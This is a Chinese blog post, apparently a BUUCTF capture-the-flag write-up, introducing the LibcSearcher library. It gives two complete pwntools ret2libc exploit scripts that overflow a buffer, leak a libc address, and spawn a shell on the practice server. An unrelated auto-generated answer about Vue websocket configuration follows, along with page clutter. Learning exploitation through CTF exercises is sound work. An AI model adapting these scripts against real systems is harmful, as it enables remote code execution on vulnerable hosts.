buuctf ctf (第5.5波)学会使用LibcSearcher

15 篇文章 0 订阅

这一章是连着上一章的,其实没什么区别,就是介绍了一个LibcSearcher这个库,作用相当简单明了,就是用来代替你需要的libc文件的,就算你的当前目录下没有这个libc文件,只要引入这个库,就可以了。
其本质上与上一波题目没差别,所以可以看成一个类别。

jarvisoj_level3

这道题目在前面也介绍过,这里我们用LibcSearcher来做
可以看到除了将libc=ELF(“libc-2.19.so”)改为了引入LibcSearcher库之外其余操作都一样

from pwn import *
from LibcSearcher import *

#p = process('./level3')
p = remote('node3.buuoj.cn', 26763)
elf = ELF('level3')

read_got = elf.got['read']
write_plt = elf.plt['write']
vul_addr = 0x0804844B


payload = 'a'*0x8C +p32(write_plt) + p32(vul_addr) + p32(1) + p32(read_got) + p32(4)
p.sendlineafter('Input:\n', payload)

read_addr = u32(p.recv(4))
libc = LibcSearcher('read', read_addr)

libc_base = read_addr - libc.dump('read')

system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
payload = 'a'*0x8C + p32(system_addr) + p32(0) +p32(str_bin_sh)

p.sendlineafter('Input:\n', payload) 

p.interactive()

jarvisoj_level3_x64

与上面的题目基本一样,就是换成了64位,我们来看下其中细微的差别
https://blog.csdn.net/qinying001/article/details/104473597

[HarekazeCTF2019]baby_rop2

同样需要注意这道题的flag不在当前目录下,所以要用下面这个命令
cat ./home/babyrop2/flag
https://blog.csdn.net/qinying001/article/details/104358890?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

pwn2_sctf_2016

https://blog.csdn.net/weixin_44145820/article/details/104699256

在这里插入图片描述

bjdctf_2020_babyrop

https://www.cnblogs.com/gaonuoqi/p/12312777.html

铁人三项(第五赛区)_2018_rop

https://www.cnblogs.com/luoleqi/p/12381227.html

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
io = remote('node3.buuoj.cn',28574)

elf = ELF('./2018_rop')

write_got = elf.got['write']
write_plt = elf.plt['write']
read_plt = elf.plt['read']

payload = 'a' * (0x88 + 0x4)
payload += p32(write_plt)
payload += p32(0x80484c6)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

io.sendline(payload)
write_addr = io.recv()
print hex(u32(write_addr))
#libcbase = u32(write_addr) - libc.symbols['write']
#system = libcbase + libc.symbols['system']
#binsh = libcbase + libc.search('/bin/sh').next()

obj = LibcSearcher('write',u32(write_addr))
libcbase = u32(write_addr) - obj.dump('write')
system = libcbase + obj.dump('system')
binsh = libcbase + obj.dump("str_bin_sh")

payload = 'a' * (0x88 + 4)
payload += p32(system)
payload += p32(0)
payload += p32(binsh)

sleep(0.5)
io.sendline(payload)

io.interactive()
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
你可以在Vue项目的config.vue文件中添加以下配置信息来解决这个问题: ``` devServer: { host: '0.0.0.0', // https: true, port: 6103, client: { webSocketURL: 'wss://ctf.xidian.edu.cn/api/traffic/Ss5MR7DUQJwSxpV-GBGNF/ws', }, headers: { 'Access-Control-Allow-Origin': '*', }, }, ``` 另外,在vue.config.js文件中也可以添加相似的配置代码: ``` devServer: { host: '0.0.0.0', port: 3000, client: { webSocketURL: 'wss://ctf.xidian.edu.cn/api/traffic/Ss5MR7DUQJwSxpV-GBGNF/ws', }, headers: { 'Access-Control-Allow-Origin': '*', }, }, ``` 这样做可以确保你的Vue项目能够成功连接到wss://ctf.xidian.edu.cn/api/traffic/Ss5MR7DUQJwSxpV-GBGNF。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [vue项目使用websocket时报错: connection to ‘ws://...‘failed: Error in connection establish](https://blog.csdn.net/weixin_65793170/article/details/128127889)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [WebSocket connection to ‘ws://xxx.xxx.x.xxxx:8080/ws‘failed:问题](https://blog.csdn.net/z914020826/article/details/127232233)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [控制台反复输出WebSocket connection to ‘ws://10.133.212.203:8080/ws‘ failed:](https://blog.csdn.net/weixin_46466212/article/details/126762870)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值